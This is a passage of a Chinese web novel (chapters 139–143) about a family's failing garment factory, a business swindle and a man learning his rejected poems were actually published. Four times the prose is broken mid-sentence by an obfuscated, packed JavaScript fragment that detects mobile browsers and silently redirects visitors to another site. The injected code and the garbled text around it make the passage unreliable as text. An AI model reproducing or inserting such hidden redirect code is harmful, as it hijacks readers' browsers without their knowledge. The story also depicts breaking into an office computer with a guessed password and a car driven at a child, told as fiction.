“那我爸怎么会开心?”小满轻轻说,“人总要向前看的。我妈那个样子……换个环境,或许能好得快些。以后我的收入不会低。既然早晚都要将爸妈接过来,晚几年,和现在,又有什么区别?” “那你经济压力会很大。你还是个学生。” “我可以做家教。钱难赚,屎难吃,我不怕辛苦。” 罗珏沉默了半天,忍不住说:“小满,你真的是罗桑县飞出的**。你的脑子怎么长的,为什么又聪明又理性?” 小满笑起来。 她向来冷静沉稳,此刻难得露出少女自恋又臭屁的一面:“大概因为我是罗桑县的希望吧。你知道的,我很强。” “好好好,你当然强。”罗珏也笑着说,“我找罗琦帮你,她熟悉房地产。” 第139章 我不能做受害者&投资扩产 几天后,罗琦用冰袋捂着眼睛:“小满想租的商铺,我帮着把过关了,已经签了约。” “我还有个做房产中介的同事,刚好跳槽到北京,我让她给小满挑了个好租处,在大学旁边,价格也不贵。” “房子10月中旬可以搬进去,刚好,娇姐过生日。小满说,这就是她送给妈妈的生日礼物。” “小满真是个好孩子。娇姐和万叔,无论遭遇了什么,总算还有点安慰啊。” 罗琦轻轻叹息。 罗珏仔细端详着罗琦的脸。 “好看吧。”罗琦顶着肿胀的鼻子笑,“消了肿就好了。” 罗珏面色复杂地说:“好看的。”她伸手撩头发,手背狰狞的伤口翻着两瓣粉肉,好像一张呐喊的嘴。 “手怎么弄成这样。”罗琦问。 “感染了。”罗珏轻飘飘地说。她的目光重新放回罗琦的右眼上,那只眼睛的形状依旧不太自然,双眼皮的褶皱没办法完全藏住伤疤,一道痕迹深而红。 罗琦的房间里没有镜子。她只是笑着:“至少双眼皮变宽了,消肿以后,眼睛会变得更大。” 她的鼻梁碎过,里面补了东西,此刻一笑,鼻梁突兀地高耸在脸上,粗而宽,颜色发黄。 罗珏不忍地别开眼。 天色渐暗,窗户有一些反光,逐渐照出一点模糊的人形。罗琦伸出手,很自然地“哗啦”拉上窗帘。 “二妹在做什么?”罗珏生硬地换了个话题,“她已经消失有一阵子了。” 罗琦说:“她说她要忙一阵子,忙完了再来见我。” 她四处摸索,罗珏急忙扯了张纸巾递过去。罗琦熟练地用纸巾擦干鼻孔里流下的发黄的脓水。 罗珏递消炎药给她,她仰头吃了。 “二姐还说要养我。”罗琦依旧笑,“说得好像我养活不了自己似的,咄!我要她养!可惜那天说不出话,没办法嘲笑她。” 罗珏注视着罗琦,注意到罗琦的脸做过激光后,留下了几块白色的淡淡瘢痕。 “老郑害惨了你。”罗珏脱口而出。 “大姐,我不能做一个受害者。”罗琦加重语气,“人生如夜行船,什么都有可能发生。我必须允许一切发生。” 罗琦用纸巾擦鼻子里流下的黄水,因为疼痛而微微皱眉。 “日子怎么过,过得好还是坏,开心不开心,其实都看我自己。”罗琦斩钉截铁地说,“福祸相依,十全九美,月满则亏,兴尽悲来。这世上没有绝对的好与坏,阳光的背面是阴影,阴影的背面也是阳光。问题总会解决,都有办法的。” …… “阳光总在风雨后,乌云上有晴空~” 罗桑县的KTV里,老宋抓着话筒,眉开眼笑,声音响彻包厢。 唱着唱着,他走到林招娣身边,举起一杯酒,毫不犹豫地仰头灌了下去:“林厂长,女中豪杰,敬您一杯!” 林招娣靠在皮沙发上:“老宋,这下子放心了?” “放心了!”老宋大声说,“今天验完货,对方已经在走流程了,这周就打款!” 林招娣笑了笑:“老宋,你不用太见外。我和老赵都有30个点的股份呢,以后都是厂里的股东。自家的事情,哪需要大张旗鼓地感谢。” 老宋和老赵对视一眼。 包厢里光线变换,这一眼,被掩盖在灯红酒绿中。 林招娣突然警觉地问:“老宋,老赵,你们背着我,眉来眼去什么呢?” 老宋一惊,老赵还是那副吊儿郎当的样子,哈哈笑道:“我们等下想找几个小妹妹,林厂长,这话你可不方便听。” 林招娣唾道:“这有什么,你们男人都一样的死德行,稍微有一点钱,裤裆里那根东西先冒头。要我介绍几个给你们?” 老赵挤眼睛:“还是林厂长懂男人。你弟妹要是打电话过来问,就跟上次一样说。” 林招娣笑骂:“知道了,我给你们打掩护,快滚,滚滚滚。” 伴奏切换,激昂的调子起来,老赵和老宋对视一眼,露出暧昧不清的笑容,起身离开。 林招娣一个人坐在包厢里。门关上,她的笑容淡了下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275259|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 良久,她冷哼一声。 “什么情啊爱的。”她不屑地说,“不就是床上岔开腿那点子事。一开始都是干柴烈火,时间久了,旧的哪有新的香。” “这玩意,谁信谁傻子。” 林招娣看着虚空处,惆怅了很久,叹了口气。 “文彬啊,你**也挺好。” “活的时候,折腾来折腾去的,**,反而比谁都体面。” …… “老赵,究竟行不行,你给我个准话,我心慌!”老宋一出包厢门就被风吹得缩起脖子,浑身发抖,“我跟林招娣认识二十多年,现在坑了她这么大,你答应我的钱究竟能不能到!” “指示你我办这件事的人,是珊瑚集团的女儿,财大气粗,你觉得她会说话不算话?” 老宋转了个圈,神情焦虑:“林招娣是母老虎,这次坑了她,她肯定要报复我呢。” “你自身难保,还想这个。”老赵哼了声,“你不坑她,现在死的就是你,你愿不愿意?” 老宋呆了半晌:“不愿意。” “那你还啰嗦什么。”老赵背着手走在寒风里,“做生意不就这样?什么不能卖?你们二十年熟人情卖了个好价钱。那个罗文彬,还不是早早也把红星厂卖了个好价钱!我看呐,林招娣现在还不知道这件事呢!” 老宋这才松了口气:“红星厂要是怎么都得破产,那林招娣也怪不得我了,她不如怪罗文彬去。” 老赵哼哼两声。 寒风吹过罗桑县的街道。老宋突然问:“哎,罗文彬把红星厂卖了多少钱?” “卖了就好了。”老赵压低声音,含混不清地说,“他啊,盲目扩进,想大干一场,把红星厂抵出去借**,听说拿了七八百万,投资扩产。结果地皮买了,国外的机器订了,人却突然**……” 老宋倒吸一口凉气:“**!利滚利!那红星厂究竟欠了多少钱?” “谁知道呢。不敢算,想必是个天文数字。” 老宋又问:“罗文彬为什么突然跑去投资扩产?” 第140章 为什么要扩产&油水还是算计 “罗桑厂呢,五年内是一定会扩产的。”王经理笑呵呵地说。 张东尧点头:“毕竟罗桑县服装产业集群有87%的利润来自稳定的欧美客户,罗桑厂必须通过扩产来应对人民币升值造成的利润损失。” 王经理恭维:“张博士,你真细致。” “过奖,做田野是搞学术研究的基本功夫。”张东尧拿着一个薄薄的小照相机,“我们之河大学是考据派,讲究论文观点的每句话都要‘有据可查’。” 为了“有据可查”,张东尧需要从王经理处获得大量一手材料。 两人在办公室坐了一会,张东尧针对罗桑厂扩产规划仔细询问,并翻阅王经理递过来的相关材料。 翻着翻着,张东尧的手顿住。 显然有一份合同的复印件放错了地方,才会出现在这堆政策方案中。 一份战略合作协议。 其中一方是红星厂。 签署人是罗文彬。 电光火石之间,张东尧的视线逐字逐句刮过协议。 协议的内容是,红星厂将成为罗桑厂的重要战略合作伙伴,红星厂将投资扩产,包括购入地皮、拓宽厂房面积、扩招工人、增设机器等等。 现实中只过了几秒钟。 张东尧若无其事地翻过这张协议,继续看下去。 王经理笑呵呵地说:“张博士,我们也有我们的规定,这些文件您看看就好了,不能拍照。” 张东尧点头:“我明白规矩。” 半个小时后,两人巡视厂房。张东尧不动声色:“罗桑厂既然有扩产的打算,近期有购入新生产设备、打造新生产线的需求吗?” 王经理淡淡道:“怎么,张博士觉得罗桑厂的生产设备落后了?” 张东尧说:“为了做对比研究,我去考察了郴州领带产业集群。他们那里已经用上了国际先进织造设备。” 他取出相机,调出照片给王经理看:“瑞士‘苏尔寿·鲁蒂’剑杆织机、法国‘史陶比尔’电子提花龙头、德国‘贝宁格’分条整经机。郴州领带厂的负责人说,这批机器生产的面料,利润高,销量好。” 王经理的笑容渐渐消失:“张博士,做生意呢,要核算量本利的。罗桑厂的营收关乎全县十几万人的饭碗,做任何资金决策之前,我们都得问问自己,这笔开销有必要吗?周转压力会不会很大?” “那如何应对欧美的高质量订单呢?” 王经理淡淡说:“自有战略合作商来做这件事。” 张东尧装作不懂:“罗桑厂都扛不起的成本,这位合作商敢扛,扛了还要压货给罗桑厂,资金回笼的周期又长。想必资本雄厚,但最近没听说哪位大资本来罗桑县?” 王经理的脸红一阵白一阵。 张东尧继续天真地说:“不然我不明白,为什么会有生意人做亏本的买卖。” 王经理恼怒地看向另一边。 …… “王经理哪里会亏本。”老赵低声说,“罗桑厂扩产不假,但扩产为的什么?为的是王经理那派人马自己的腰包。” 老宋惊道:“你的意思是……” “罗文彬就是替王经理扩的厂。在罗桑厂里,王经理的手不好伸;但涉及到供应商,伸手的方式可就太多了。高端面料的油水丰厚,王经理能赚到从前千百倍。” 老宋皱眉:“罗文彬这么大的动作,林招娣不知道?” “林招娣当然不知道,本来罗文彬这么做,就是想稀释林招娣的股权,把她赶出去,所以瞒得死死的。” “就没人告诉林招娣?!” “谁告诉她?多一事不如少一事。”老赵轻飘飘地说,“而且,林厂长太能干了,能把她弄下去,大家都高兴。 老宋安静了半晌,摇头:“我不信。” “就凭王经理一句话,罗文彬就能把全部身家压上去?” “而且。”老宋皱眉,“就算林招娣不知道罗文彬买了地皮,怎么能不知道罗文彬买了机器呢?那些购入的机器设备,如今在哪里?” 老赵想了想,也皱起眉。 “这件事情,分明是有资本介入,有人利用王经理算计罗文彬,或者利用罗文彬算计王经理,从而算计罗桑厂。但反正跟我没关系。”老宋摇头,“总归是螳螂捕蝉、黄雀在后。” 老赵嗤笑:“就和你我一样?” …… 车间里。 面对王经理的回答,张东尧嗤笑。 王经理的表情几乎维持不住。 张东尧面容清俊,但那不过是他的伪装罢了。套着一张清高的人皮,张东尧很知道如何达成自己的目的。 他从生产线上收回眼,看着王经理,不依不饶:“您从哪里找到这么财大气粗的合作商的?” 王经理终于被张东尧激怒,面皮微抽:“张博士,您虽然学历高,但服装上的事,我不认为您更懂。” 说罢,他拿出一支烟:“失陪。” …… 王经理拂袖而去。 车间里的技术员有些尴尬地打圆场:“张博士,您有所不知。” “那些欧美高质量要求订单,都有一层厚厚的‘绿色贸易壁垒’,意思是,欧美完全可以从环保的角度来卡我们。” “罗桑河已经臭了几十年,罗桑厂的环境认定问题,短时间内没法解决。要想通过绿色贸易壁垒,只能寄希望于战略合作伙伴。” “为了应对欧美高质量要求订单,合作方必须申请一系列 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275260|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 质量体系认证,比如ISO9001质量认证,ISO14001环境认证,SA8000社会责任认证……” 张东尧看着王经理离开的方向,耐心地听完:“你这么说,我就明白了。” 到了午餐时间,技术员频频看时间:“您明白就好。” 张东尧通情达理:“您赶紧去吃饭吧。对了,洗手间在哪里?” 技术员伸手指了指:“我带您过去……” “饿着您,多不好意思。我是罗桑厂的老熟人了。”张东尧温和地笑笑,“我自己来吧。” 技术员感激地笑笑。 张东尧转过身,走向男厕所方向。他回头看见技术员已经离开,立刻悄无声息转过几道走廊,回到空无一人的经理办公室。 张东尧先翻出那份红星厂的协议,用相机拍下,再娴熟地摆回去。 他做出这样的事,面上却没有任何慌乱之色。他直起身,目光落在王经理办公桌的电脑上。 王经理不大会用电脑。 因此,经理办公桌上的台式机长年不开,用白布蒙着。担心有电脑辐射,他甚至连电脑插头都不插。 不过这几年,全国都在推行办公系统,罗桑厂也未能免俗。因此,自有行政的人,来王经理办公室里,替他点击系统审批流程。 张东尧见过好几次。 竖着耳朵听外面的动静,张东尧手上不停,插电,打开电脑,谨慎地操作了一番。他试了“0000”和“1111”,很快,系统显示登录成功。 张东尧翻了翻,掏出卡片机,对着电脑屏幕数次按下快门。 “吱——” 张东尧一抖,惊得后背渗出一层薄汗。 他转头,看见烧水壶正扑扑冒着热气。 他松了口气,迅速把卡片机塞进包的夹层,关掉电脑。刚把白布盖上,脚步声响起,门被大力推开。 烟味飘进来,王经理推门问:“张博士,您还在这里。” 张东尧很自然地端着水杯走到水壶前,边接水边说:“我的包还在这里。” 王经理的目光落在角落里的黑色双肩包上。 刚刚去看生产线,张东尧确实没背包。 张东尧嘴上应付着,余光瞟到电脑,突然发现电源插头没拔。 眼看着王经理往这边走过来,他急中生智,端着满满一杯开水,挡在王经理面前,转身,一个不小心,碰到了王经理。 王经理吓了一跳:“注意开水!” 张东尧惊得不行,边道歉边后退,慌乱中,后腰磕在桌边,砰的一声,整杯开水都往前泼了出去。 王经理急忙躲闪,张东尧也躲闪,房间内乱成一团。 混乱中,张东尧重重踩掉电源插头。 第141章 林招娣被骗破产&退稿信&要钱 林招娣重重按住狂跳的右眼。 10月来到了,到处都是欢庆十一的红色国旗,而林招娣却迟迟没能等到老宋的公司回款。起初,老宋还搪塞她,十一假期,对方公司休假。可等十一假期结束,林招娣再拨老宋的电话,对方已经拒绝接听。 连续几十个忙音电话后,林招娣的后背渐渐凉透了。这股寒气从心脏窜到脑子里,最终让她仰天长叹——她做生意几十年,还有什么不明白的。 林招娣找不到老宋。 她去到老宋的厂子,老宋的厂子放假,一个人影子都没有。林招娣也不含糊,等十一假期结束后,第一时间开车去到老宋小女儿的小学门口。 她发消息给老宋:“你不见我,我就开车撞死你女儿。” 小女孩扎着两个精致的辫子,从学校里蹦蹦跳跳地出来,站在学校围墙前面,身上挂着明黄色的水壶,晃晃悠悠。林招娣毫不含糊,踩下油门,车头直接冲着小孩冲了过去,四周一片尖叫声。 手机铃声骤然响起,林招娣猛然踩下刹车,猛拧方向盘,车头险之又险地擦过水壶,重重剐蹭在学校围墙上,发出令人牙酸的声音。 明黄色水壶“格楞楞楞”地滚在地下。 老宋的声音在电话对面凄厉大叫:“我来见你,我就在这里,你有什么都冲着我来!” “那笔钱根本就没打给我,冤有头,债有主,你得罪了谁,你就去找谁!!” “悍妇!悍妇!!” …… 林招娣膀大腰圆,像一座巍峨的山。 她押着老宋进了办公室,沉着脸看过帐——是的,老宋的账上根本没有收到任何钱。 中间,老宋的老婆尖叫一声冲进来,抱住小女孩上上下下地检查,像母狼一样死盯着林招娣。而林招娣,连一个眼神都没丢给那个瘦弱的女人。 “我也是自身难保。”老宋坐在沙发上,浑身还在后怕地发抖,“你报复也别冲着我来。是老赵,老赵骗的你。” “什么意思。” “老赵是我的主要债权人,我的账户已经被老赵公司控制。”老宋继续发抖,“这次找你帮忙垫资,就是老赵联系我的,他是我的主要债权人,我真的没办法。” “什么意思。”林招娣重复。 “意思就是。”老宋抖着嗓子,“我没办法决定这笔钱给谁,因为钱是直接划到老赵公司账户上的。老赵合法合理合规,林厂长,这笔钱,你要不回的。” 林招娣厉声说:“那我的钱呢,我该管谁要?!” “短期内,你可以去借钱。” “我找谁借?!”林招娣用力把老宋桌面的相框扫落在地,“啪”的一声,相框上的玻璃摔得稀碎。 老宋嗫嚅:“那我就没办法了。” 林招娣重重喘息。 “老宋,我们这么多年的情分。我把大部分现金流拿去帮你垫资。”林招娣说到这里,咽下了后面的话。商场如战场,讲情分徒然可笑,再说下去也毫无意义。 片刻后,她眼睛闭上,跌坐在沙发上,胸口起伏,一张脸逐渐涨得通红。 老宋小声说:“你问问你弟,林国栋。他这几年没少捞……应该有点钱。” …… “总归你只给我这么点钱,那也就只有这个。”小麻雀厚颜无耻,“一分钱,一分货。” 前往广州的火车站台前,罗璇气笑了:“你说你有我妈的料,结果就是这个。”她甩了甩手上的纸,发出脆响,“我舅舅读大学时期的什么狗屁退稿信。” 小麻雀理直气壮:“我当时不这么说,你怎么会带我去苏州找我爸?” 罗璇深呼吸:“所以你骗的就是我,对吧?” 小麻雀流里流气地抖着腿,嘴里吧唧吧唧地嚼口香糖:“你又有什么损失?你不是在沙园赚到钱了吗?” 罗璇从小嘴不灵光,讲理讲不过大姐,吵架吵不过小妹。 于是她转过脸,决定不和小麻雀一般见识。 “你少说两句!”傅军一把揪住小麻雀的领子呵斥,小麻雀白了他一眼,拍开他的手:“男女授受不亲,挺大的人了,注意影响。” 傅军气得喘不匀,转头对罗璇说:“对不住对不住,我欠你个大人情。” “还大人情呢。”罗璇凉凉道,“这话你说了多少遍了,你这辈子都还不清我的恩。” “是是是。”傅军低声下气,“您有什么吩咐,小的一定鞍前马后。” 火车汽笛声再次响起,催促人尽快上车。这趟是前往广州的绿皮火车,小麻雀即将前往“世界牛仔裤之都”新塘,去帮老板娘做事。 小麻雀洋洋自得:“行了,我走了,我要去赚大钱。” 罗璇推她:“快走快走。” 小麻雀拎着东西上了车。她一只脚踩上踏板,突然转过身,指着罗璇身后:“哎?” 罗璇回头。 小麻雀扑上来,从身后重重抱了罗璇一下。 罗璇惊愕地回头,小麻雀已经头也不回地跳上火车了。 她从火车里探出半张脸:“早点把自己嫁出去吧,老女人!”然后就消失在幽暗的车厢里。 汽笛再次响起,火车呼啸着开走了。 …… 罗璇失笑,垂眼看了看自己手里那张泛黄的信纸。 这是一家赫赫有名诗刊发给林国栋的退稿信。 “本诗缺乏文学美感,音韵不通,技法糟糕,情绪平淡,不建议采用,特此退稿。” “……林同学。文学大门只为有天赋的人敞开。我建议你放弃文学道路,文学如梦如幻影,不如踏踏实实学一门技艺。既然你是路桥专业的学生,你的未来将一片光明,因为社会更需要懂技术的人才,学好数理化,走遍天下都不怕,没必要执着于文学,因为你没有天赋。求而不得,徒误终身……” 这话说得,太直白了,太毒了。罗璇忍不住同情了一会林国栋,对于一个热爱文学的青年来说,说他没有文学天赋,让他直接放弃,岂止**诛心,简直把人炸得粉身碎骨。 “不愧是大诗刊,连退稿都这么直白。”罗璇摇头。 “听说厂里的老工人说,这件事,对林国栋的打击很大。”傅军说,“那时候林国栋把自己关起来,谁都不见,除了赵豆豆。” “赵豆豆?” “哦,你的前舅妈,后来跟你舅分手了。” “感情这么好,后来为什么分手?” “你妈死活不答应,嫌赵豆豆个子矮,怕生孩子长不高。拖了好几年,后来赵豆豆忍不了,主动提的分手。那时候,林国栋特别喜欢赵豆豆,但其实,赵豆豆没多喜欢他,对他主要是责任心。” 罗璇心不在焉,随手把信纸往怀里一揣:“你都听谁说的,好像你认识赵豆豆似的。” “认识啊,赵豆豆是我的初中物理老师。” …… 小小的经理办公室有酒有肉,林招娣举着小酒盅,一饮而尽。 林国栋坐在对面,半张脸掩映在月色中。 “我们小时候,过得多艰难的。”林招娣扒拉着面前的下酒菜,“哪里吃得起这些东西。那会你成绩好,不想读中专,想去考高中,爸把我嫁了出去,换了彩礼,直接把你高中学费和大学学费全凑出来了。” “大姐,我知道你对我好,但你也不要每年都跟我说这些。对,是我欠你的,可我这些年兢兢业业给红星做事,难道还不够还你的学费之恩吗?你至于年年讲、年年讲吗?!” 只要林招娣一提这个,林国栋就应激。 林招娣安抚他:“好好好,我不提了。” 林国栋深呼吸,忍耐地说:“大姐,我不欠你。” 林招娣没说什么,只是慢慢吃菜。 “大姐,你怎么都要结婚的。”林国栋喝了口酒,冷酷地说,“其实之前那个姐夫,对你不算坏。就算你后来偷了他的钱跑了,他也没报警抓你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275261|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 林招娣笑笑不说话。 林国栋说:“爸有好好给你选男人,你又何必没完没了地拿这件事出来说,让爸内疚,让我内疚?” 林招娣却说:“我的彩礼供你读书,我没意见。我是大姐,你是我弟弟,我希望你过得好。而且你才华横溢,我记得你写诗写得特别好——现在还有写吗。” “不好,一点都不好。”林国栋根本不想提,“几十年没写了。不值得一提。” 他又仰头喝了杯酒。 “红星厂是咱们姐弟的心血。”林招娣凝视着林国栋,“只是放出去的资金暂时回不来而已。国栋,你知道我始终是支持你的,从小到大。大姐只求你一次。求你支持支持大姐。” 林国栋沉默了很久,声音悲愤:“大姐,你要我做什么,难道我有说不的权利吗。” 林招娣停下筷子:“你这是什么意思。” 林国栋抬眼看着林招娣:“大姐,这么多年了,你始终是这样,先说你待我的恩情,然后明里暗里对我提要求,逼着我非得做到。我受不了了大姐,我有我的生活,我不是你手里的玩偶、手里的傀儡!你能别控制我了吗?” 林招娣抬高声音:“我从小把你养大,供你读书,带你赚钱,帮你娶老婆成家,为了你赶走了我的亲女儿,结果你现在说是我控制你?!” “难道不是吗?!”林国栋被逼得发疯,“你供我读书,我选文科,你直接去找校长撒泼,替我改了理科;我考大学,决定考中文系,结果被你改了志愿去读路桥专业;我要去北京,结果被你改到之河大学……是,我没什么本事,为了多赚点钱,我到红星厂来帮你,结果怎么着?你瞧不上我的女朋友赵豆豆,嫌她矮又瘦,非得让我娶高个子女人,结果豆豆也离开了我!大姐,我的人生已经完全按照你的心意走了,你还要我怎么样?!” “我是大姐,我希望你好,我管你,难道错了吗?!”林招娣大声说,“林国栋,你扪心自问,没我帮你,你能赚到现在这么多钱吗?!你非得喜欢文学,文学是咱们这种家庭读的吗?!” “……我没说我非得读文学。”林国栋沉默了很久很久。“我读文学,就是一场彻头彻尾的笑话。” “不能这么说,我弟弟就是最好的。”林招娣斩钉截铁,“我相信你的文学才华。你的文学天赋是我见过最高的!我只是说,你读文学没办法养活自己,但你是有天赋的。这些年,我一直都鼓励你好好创作。等咱们都退休了,你安心创作,我非得帮你出本诗集不可。” “我不够格。我没有文学天赋。”林国栋苦笑,“姐,不要再提这件事了。我早就说过,我这辈子都不会再创作了。” 林招娣轻声说:“你不要这么想。” “这是客观事实。”林国栋说。 两人沉默了很久很久。 “大姐,你要的钱,我会帮你筹到的。”林国栋终于说,“因为我再也不想欠你的恩情了。我已经在你的阴影下活了大半辈子,我不像再这样活后半辈子。” 林招娣松了口气,只关注林国栋的前半句话:“那你什么时候把钱给我?红星厂的生产等不得。” 林国栋含义复杂地看了林招娣一眼,用力攥紧杯子。 “你总是这样,眼睛里只有你的红星厂。” 林招娣竖眉:“我不关心工厂,拿什么赚钱,我没有钱,你拿什么上学,拿什么吃饭,拿什么长大?” “知道了,都是因为我。你别说了。”林国栋忍耐地说:“给我两天时间。后天,后天我把钱给你。” 林招娣皱眉:“为什么还要等两天?你从小就慢吞吞的,怎么现在还这样?这个毛病一直不改……” 林国栋难以抑制地拔高声音:“你少说两句!行就行,不行就算了!” 他把杯里的酒一饮而尽。 林招娣“哼”了声:“行吧。” 第142章 要钱&诗 第二天是之河大学的百年校庆。 林国栋回了趟母校。 他的收入算是同学中还不错的,因此毫不畏惧地积极聚会,也想借由此积累联络更多本地人脉。 晚上是校友聚餐。 林国栋长袖善舞,面面俱到。正挨个和校友喝酒,忽然被人拍肩膀:“嘿,大诗人!” 林国栋手里的酒杯停了下来。 他动作缓慢地抬起头,看见从前文学社团的女同学正高兴地拍他的肩膀:“当年你怎么突然消失了?这么多年,我一直找你呢!” “找我?” “是啊,大诗人!”女同学说,“我在出版社做编辑,一直想问问你,有好的稿子,能不能给我啊?这么多年过去了,你的水准应该更高了吧!” 林国栋在别人面前的潇洒与圆滑,一秒钟消失殆尽。 他拘谨地把手摆在膝盖上,身体端正:“……也没有。” “文学社团明天去拜访邱教授。一起?” 林国栋迟疑了下:“我就不去了。” “邱教授得癌症了,晚期。”女同学小声说,“他非常欣赏你,这么些年,你消失啦,每次聚会他都要提起你。” 林国栋沉默片刻。 “明天早上几点钟集合?”他下定决心,“等下发我时间地点。” 女同学愉快地应了。 “你是我见过文学天赋最高的人,比我们中文系的天赋还要好。”女同学感慨,“后来我做文学编辑,几十年了,再也没见过你那样的才华。” 林国栋结结巴巴地说:“我没有很好。” “当作家要讲师门帮派的。”女同学宽慰他,“你没混出头,一定不是你写得不好,是你没找对圈子。” 林国栋垂下眼,拘谨得像一个十几岁的少年。 …… 第二天早上八点半,林国栋终于又见到当年文学社团的老同学们。 “大诗人!这么多年你去哪里了,怎么一点声音都没有的?!” “那时候邱教授非常欣赏你……” “我记得后来还把你的作品推荐到《诗刊》去。那可是《诗刊》啊!” “那时候我真嫉妒你,文学是讲天赋的呀,有就是有,没有就是没有……” 林国栋沉默地笑着,一眼不发。 邱教授还住在之河大学分配的房子里,客厅里打了通天到底的书架,塞了太多书,以至于光线有些昏暗。 见到林国栋,邱教授非常意外:“这么些年,你去哪里了?” 林国栋低声说:“我哪都没去,一直在罗桑县。” 邱教授下一句话就是:“这些年有什么作品,拿来看看。” 林国栋苦笑:“自从退社团后,就再没动笔了。” 同学们纷纷侧目。女同学恨铁不成钢:“你浪费啊!赵豆豆没劝你吗?” “早分手了。” 女同学“啊”了声:“当年你姐那么反对,你们都没分,我们都以为你们结婚了。” “她甩的我。”林国栋很平和。 女同学又“啊”了声。 林国栋坐在沙发上,自嘲地笑笑:“你们就别捧我了。我就是个普通人,当年诗刊给我发退稿信的时候说了,我没有文学天赋,让我不要继续走文学道路,不如学好数理化。” 房间里安静了很久很久。 最后还是邱教授开口:“退稿信?什么退稿信?” 林国栋一鼓作气:“您当年说,您有个同学在诗刊做编辑,很欣赏我的作品,您做主挑了我的组诗,替 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275262|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我寄到诗刊去。其实……后来我收到了诗刊的退稿信。” 所有人都用一种讶异的、难以置信的眼神看着他。 时隔几十年,林国栋终于有勇气把这段最不堪、最痛苦的记忆揭开。他用讲笑话的口吻说:“当年我是个脆弱的傻小子,接受不了这个打击,刚好也毕业了,我就躲起来了。” 躲在红星厂好几年,用拼命工作麻痹自己。 “再也没敢对文学有一丝一毫的妄想,再也没敢联系老师同学们。” 说到这,林国栋哈哈笑了,自认为语气豁达:“当年不成熟,现在想想,多大的事。怪我年轻的时候太自信,居然真觉得自己是个天才,结果受到太沉重的打击。后来才发现,自己这样的人,满大街都是。” 房间里依旧一片死寂。每个人都死死盯着林国栋。 林国栋忍不住摸了把自己的脸。 不,他没有再哭了。当年他从初恋女友赵豆豆手中看到那封退稿信,直接哭出了声,直接嚎啕大哭,直接跌坐在邮局旁边,抱着赵豆豆,像个疯子、像个绝望的病人、像个被判了**的囚犯一样嚎哭得不成人形。 但一切都过去了。 这就是命运的安排,他早就接受了。 他当然在笑。 几十年过去了,他相信自己的圆滑功夫,他笑得必然无懈可击。 但大家的眼神为什么这么奇怪? 为什么和当年的赵豆豆一样,带着怜悯? “我都快退休的人啦。”林国栋幽默,“没有文学天赋,我还有什么不能接受的。你们不用安慰我……” 邱教授打断了他。 “可是,国栋。”邱教授定定地看着他。 “你的组诗,当年发表了啊。” 第143章 罗璇的大机会&问 几十年后,林国栋终于在邱教授家里看到了那本发黄的诗刊。他的手颤抖得几乎要撕破诗刊的封面,而自己二十岁的作品清晰地印刷在纸上。 林国栋看了又看。 “别哭了,大诗人。”女同学递来一张纸巾,林国栋才发现自己已经泪流满面,是的,他的眼泪就这样直直地涌出来,像无穷无尽的大海,呼啸而出,没有任何征兆,也没有任何声音。 他本应高兴的,可已经几十年过去了。 他为了惩罚痴心妄想的自己,几十年来,再也没写一个字。 “《诗刊》是大刊,从审稿、选用到刊出,周期要半年甚至更久。”邱教授说,“你的组诗从我寄过去到刊出来,刚好间隔七个月。” 七个月啊。 他在投稿三周以后就从赵豆豆手中收到了“退稿信”。 七个月的时候,他在做什么? 在赵豆豆的陪伴下,断绝了和所有人的联系,吃住在红星厂,拼命工作。 林国栋的眼泪不断模糊眼睛。他手忙脚乱地用手背去抹。用纸巾去抹,终于抹干净一瞬,立刻定睛看向自己的作品。 他写过什么?早就忘了。 少年时怀着对文学的虔诚写下的几行字,他终于难再辨认。 因为他的眼睛,早已老花。 花有重开日,人无再少年。 …… 鲜花布满整间之河大学实验楼,上面挂着一个牌子: “距离落成仪式倒数10天”。 作为本地最强的名校,此次的之河大学百年校庆,从上到下,请来诸多各界名人。 而眼前这栋之和大学实验楼,正是新加坡大鳄宗先生捐赠的。 他还向之河大学捐赠了实验奖学金。 